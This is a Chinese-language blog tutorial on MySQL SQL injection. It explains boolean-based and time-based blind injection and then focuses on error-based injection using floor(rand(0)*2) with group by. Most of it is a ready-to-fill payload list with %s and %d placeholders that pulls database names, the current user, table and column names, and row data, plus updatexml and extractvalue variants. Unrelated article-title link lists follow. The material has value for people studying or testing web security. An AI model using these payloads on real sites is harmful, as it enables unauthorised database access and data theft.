一、SQL盲注:

看不到回显的,无法从返回直接读取到数据库内容的对数据的猜解,属于盲注。

二、第一种--基于布尔类型的盲注:

这种很简单,最典型的例子,就是挖SQL注入的时候常用的:

 '''
http://www.localhost.com/sqlinjection?id=1'%20and%20'1'='1
http://www.localhost.com/sqlinjection?id=1'%20and%20'1'='2
'''

实战时。前面一个判断是永真的时候,拼接一个判断,例如【substring(database(),1,1)='a'】

 """
例如id=1,有正常回显
那么:
id = 1 and substring(database(),1,1)='a'
如果后面对了,就有返回,不对就没有,从而一个一个爆出来
"""

三、第二种--基于时间类型的盲注:

 """
select * from tablename where id='103' and if(substring(database(),1,1)='a',sleep(5),null)';
"""

这里如果猜解第一个字符成功,会sleep 5s 否则不会【if(expr1,result1,result2)#如果expr1成立 result1 否则 result2】

以上两种详细请参见:

WEB安全第四篇--与数据库的亲密接触:SQL注入攻击

四、第三种--特殊的错误注入(本次的重点):

0、这里的报错是指

1、floor报错的

(1)公式:

 """
?id=2' and (select 1 from (select count(*),concat( floor(rand(0)*2),(select (核心语句) from information_schema.tables limit 0,1))x from information_schema.tables group by x )a)--+
"""

(2)原理:

引用自reber的博客https://www.jianshu.com/p/8c2343705100

 """
floor()是取整数
rand()在0和1之间产生一个随机数
rand(0)*2将取0到2的随机数
floor(rand()*2)有两条记录就会报错
floor(rand(0)*2)记录需为3条以上,且3条以上必报错,返回的值是有规律的
count(*)是用来统计结果的,相当于刷新一次结果
group by在对数据进行分组时会先看看虚拟表里有没有这个值,没有的话就插入,存在的话count(*)加1
在使用group by时floor(rand(0)*2)会被执行一次,若虚表不存在记录,插入虚表时会再执行一次,导致会使主键中存在重复-->报错
"""

五、payload-->爆破数据的语句:

1、database信息

#database count
' and(select 1 from(select+count(*),concat((select (select (select+concat(0x7e7e3a7e7e, count(distinct table_schema),0x7e7e3a7e7e) from information_schema.tables)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+#database name
' and(select 1 from(select count(*),concat((select (select (select distinct concat(0x7e7e3a7e7e, table_schema, 0x7e7e3a7e7e) from information_schema.tables limit %d,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

2、current DB信息

 #current-database-name
'+and(select/**/1/**/from(select/**/count(*),concat((select/**/(select/**/(select/**/concat(0x7e7e3a7e7e,/**/(select/**/database()),/**/0x7e7e3a7e7e)))/**/from/**/information_schema.tables/**/limit/**/0,1),floor(rand(0)*2))x/**/from/**/information_schema.tables/**/group/**/by/**/x)a)--+
#current

3、current USER信息

 #current USER
'+and(select/**/1/**/from(select/**/count(*),concat((select/**/(select/**/(select/**/concat(0x7e7e3a7e7e,/**/(select/**/user()),/**/0x7e7e3a7e7e)))/**/from/**/information_schema.tables/**/limit/**/0,1),floor(rand(0)*2))x/**/from/**/information_schema.tables/**/group/**/by/**/x)a)--+
#current

4、table 信息

 #table count
'+and(select/**/1/**/from(select/**/count(*),concat((select/**/(select/**/(/**/select/**/concat(0x7e7e3a7e7e,/**/count(table_name),/**/0x7e7e3a7e7e)/**/from/**/information_schema.tables/**/where/**/table_schema=%s))/**/from/**/information_schema.tables/**/limit/**/0,1),floor(rand(0)*2))x/**/from/**/information_schema.tables/**/group/**/by/**/x)a)--+
#table name
'+and(select/**/1/**/from(select/**/count(*),concat((select/**/(select/**/(/**/select/**/concat(0x7e7e3a7e7e,/**/table_name,/**/0x7e7e3a7e7e)/**/from/**/information_schema.tables/**/where/**/table_schema=%s/**/limit/**/%d,1))/**/from/**/information_schema.tables/**/limit/**/0,1),floor(rand(0)*2))x/**/from/**/information_schema.tables/**/group/**/by/**/x)a)--+

5、column 信息

 #column num
'+and(select 1 from(select count(*),concat((select (select ( select concat(0x7e7e3a7e7e,count(column_name),0x7e7e3a7e7e) from information_schema.columns where table_name=%s and table_schema=%s)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
#column name
'+and(select 1 from(select count(*),concat((select (select ( select concat(0x7e7e3a7e7e,column_name,0x7e7e3a7e7e) from information_schema.columns where table_name=%s and table_schema=%s limit %d,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

6、数据

 #data
'+and(select 1 from(select count(*),concat((select (select ( select concat(%s) from %s.%s limit %d,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

7、补充:仅针对32位有效的:

?id=2 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)--+
?id=1 and extractvalue(1, concat(0x7e, (select @@version),0x7e))--+

六、参考文献:

http://wyb0.com/posts/injection-of-error-based/

最新文章

  1. JS函数声明的问题
  2. Android课程---关于下拉列表与状态栏提示的学习
  3. Java学习心得之 Linux下搭建JavaWeb环境
  4. SQLServer(MSSQL)、MySQL、SQLite、Access相互迁移转换工具 DB2DB v1.0
  5. 当webshell不可执行cmshell时 (菜刀的安全模式!)可用此脚本突破执行cmd命令
  6. ArcGIS制图之Sub Points点抽稀
  7. PKU 2406 Power Strings(KMP最长循环不重叠字串)
  8. cx_Oracle安装说明
  9. jquery html标签的链式语法
  10. HTML5 DOM扩展
  11. MySQL基本语句与经典习题
  12. 将studio项目 转换为eclipse项目
  13. centos7安装nginx1.10.1
  14. scrapy框架的每个模块的用途
  15. Lambda表达式详解(例子详解)(转自:http://blog.csdn.net/damon316/article/details/51734661)
  16. hive列转行
  17. Linux学习之---Xshell
  18. Spring注解之BeanPostProcessor与InitializingBean
  19. 服务器cpu负载过高问题排查
  20. 解决 dotNetZip 解压乱码的问题,支持ZIP分卷解压缩

热门文章

  1. C# XMLOperate
  2. IntelliJ IDEA 学习(二):Intellij IDEA 创建Web项目并在Tomcat中部署运行IDEA
  3. Kernel ridge regression(KRR)
  4. 微信小程序请求wx.request数据,渲染到页面
  5. atitit.软件开发概念--过滤和投影 数据操作
  6. oracle锁表,杀死进程
  7. saveFile()方法
  8. Redis的字典扩容与ConcurrentHashMap的扩容策略比较
  9. python学习笔记(2)--sublimeText3运行python
  10. c#第一个程序-计算平方根